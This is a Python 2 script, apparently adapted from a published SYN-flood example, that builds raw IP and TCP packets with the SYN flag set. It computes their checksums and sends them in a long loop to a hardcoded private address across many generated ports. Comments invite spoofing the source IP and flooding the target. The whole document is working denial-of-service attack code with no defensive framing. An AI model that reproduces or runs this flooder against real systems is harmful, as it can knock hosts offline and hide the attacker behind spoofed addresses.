Synflood Implementation

Synflood.py

'''
    Syn flood program in python using raw sockets (Linux)
     
    Silver Moon ([email protected])
'''
 
# some imports
import socket, sys
from struct import *
 
# checksum functions needed for calculation checksum
def checksum(msg):
    s = 0
    # loop taking 2 characters at a time
    for i in range(0, len(msg), 2):
        w = (ord(msg[i]) << 8) + (ord(msg[i+1]) )
        s = s + w
     
    s = (s>>16) + (s & 0xffff);
    #s = s + (s >> 16);
    #complement and mask to 4 byte short
    s = ~s & 0xffff
     
    return s
 
#create a raw socket
try:
    s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_TCP)
except socket.error , msg:
    print 'Socket could not be created. Error Code : ' + str(msg[0]) + ' Message ' + msg[1]
    sys.exit()
 
# tell kernel not to put in headers, since we are providing it
s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)

dest_ip = '10.241.13.99' # or socket.gethostbyname('www.google.com')

def make_packet(p):
	# now start constructing the packet
	packet = '';
	 
	source_ip = '10.241.13.2'
	dest_ip = '10.241.13.99' # or socket.gethostbyname('www.google.com')
	 
	# ip header fields
	ihl = 5
	version = 4
	tos = 0
	tot_len = 20 + 20   # python seems to correctly fill the total length, dont know how ??
	id = 54321  #Id of this packet
	frag_off = 0
	ttl = 255
	protocol = socket.IPPROTO_TCP
	check = 10  # python seems to correctly fill the checksum
	saddr = socket.inet_aton ( source_ip )  #Spoof the source ip address if you want to
	daddr = socket.inet_aton ( dest_ip )
	 
	ihl_version = (version << 4) + ihl
	 
	# the ! in the pack format string means network order
	ip_header = pack('!BBHHHBBH4s4s' , ihl_version, tos, tot_len, id, frag_off, ttl, protocol, check, saddr, daddr)
	 
	# tcp header fields
	source = p   # source port
	dest = p   # destination port
	seq = 0
	ack_seq = 0
	doff = 5    #4 bit field, size of tcp header, 5 * 4 = 20 bytes
	#tcp flags
	fin = 0
	syn = 1
	rst = 0
	psh = 0
	ack = 0
	urg = 0
	window = socket.htons (5840)    #   maximum allowed window size
	check = 0
	urg_ptr = 0
	 
	offset_res = (doff << 4) + 0
	tcp_flags = fin + (syn << 1) + (rst << 2) + (psh <<3) + (ack << 4) + (urg << 5)
	 
	# the ! in the pack format string means network order
	tcp_header = pack('!HHLLBBHHH' , source, dest, seq, ack_seq, offset_res, tcp_flags,  window, check, urg_ptr)
	 
	# pseudo header fields
	source_address = socket.inet_aton( source_ip )
	dest_address = socket.inet_aton(dest_ip)
	placeholder = 0
	protocol = socket.IPPROTO_TCP
	tcp_length = len(tcp_header)
	 
	psh = pack('!4s4sBBH' , source_address , dest_address , placeholder , protocol , tcp_length);
	psh = psh + tcp_header;
	 
	tcp_checksum = checksum(psh)
	 
	# make the tcp header again and fill the correct checksum
	tcp_header = pack('!HHLLBBHHH' , source, dest, seq, ack_seq, offset_res, tcp_flags,  window, tcp_checksum , urg_ptr)
	 
	# final full packet - syn packets dont have any data
	packet = ip_header + tcp_header

	return packet


from random import shuffle

nums = []
for x in range(1, 10):
	for y in range(1, 10):
		nums.append(int(str(x) + "00" + str(y)))

pos= []
for a in range(len(nums)):
	for b in range(len(nums)):
		for c in range(len(nums)):
			pos.append((nums[a], nums[b], nums[c]))
shuffle(pos)
print pos[:10]

i = 0
for a,b,c in pos:
	i += 1
	if i % 1000 == 0:
		print i
	#Send the packet finally - the port specified has no effect
	s.sendto(make_packet(a), (dest_ip , a ))    # put this in a loop if you want to flood the target
	s.sendto(make_packet(b), (dest_ip , b ))    # put this in a loop if you want to flood the target
	s.sendto(make_packet(c), (dest_ip , c ))    # put this in a loop if you want to flood the target